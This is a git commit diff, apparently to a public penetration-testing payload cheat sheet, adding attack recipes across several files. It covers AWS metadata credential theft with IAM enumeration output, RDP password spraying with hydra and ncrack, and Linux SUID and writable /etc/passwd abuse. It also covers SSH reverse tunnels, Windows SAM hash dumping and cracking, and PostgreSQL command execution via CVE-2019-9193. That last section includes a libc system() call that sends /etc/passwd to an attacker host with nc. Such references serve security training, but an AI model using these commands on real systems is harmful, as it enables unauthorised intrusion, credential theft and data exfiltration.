GraphQL + RDP Bruteforce + PostgreSQL RCE

This commit is contained in:
Swissky 2019-07-01 23:29:29 +02:00
parent 46780de750
commit 13ba72f124
8 changed files with 73 additions and 6 deletions

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@ -184,6 +184,32 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
## Enumerate IAM permissions
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
```powershell
git clone git@github.com:andresriancho/enumerate-iam.git
cd enumerate-iam/
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```
## References

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@ -1,6 +1,6 @@
# GraphQL injection
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data.
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
## Summary
@ -30,6 +30,7 @@ Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoin
```js
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
```
Check if errors are visible.

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@ -657,6 +657,13 @@ Using [RDPassSpray](https://github.com/xFreed0m/RDPassSpray) to target RDP servi
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
```
Using [hydra]() and [ncrack]() to target RDP services.
```powershell
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
```
Most of the time the best passwords to spray are :
- Password1

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@ -228,6 +228,7 @@ SUID/Setuid stands for "set user ID upon execution", it is enabled by default in
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
@ -388,13 +389,17 @@ Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
List world writable files on the system.
```powershell
find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/passwd
First generate a password with one of the following commands
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker

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@ -63,6 +63,7 @@ ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```
## Proxychains

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@ -206,7 +206,10 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
@ -215,6 +218,15 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Then crack it with `john -format=NT /root/sam.txt`.
### Search for file contents
```powershell

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@ -9,6 +9,8 @@
* [PostgreSQL File Read](#postgresql-file-read)
* [PostgreSQL File Write](#postgresql-file-write)
* [PostgreSQL Command execution](#postgresql-command-execution)
* [CVE-20199193](#cve-20199193)
* [Using libc.so.6](#using-libc-so-6)
* [References](#references)
## PostgreSQL Comments
@ -67,7 +69,9 @@ COPY pentestlab(t) TO '/tmp/pentestlab';
## PostgreSQL Command execution
CVE-20199193, can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
### CVE-20199193
Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
```SQL
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
@ -79,8 +83,16 @@ DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)
### Using libc.so.6
```sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```
## References
* [A Penetration Testers Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution)

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@ -2,14 +2,17 @@
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
Tools:
- [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
## Summary
* [Tools](#tools)
* [Using ws-harness.py](#using-ws-harness-py)
## Tools
* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
## Using ws-harness.py
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.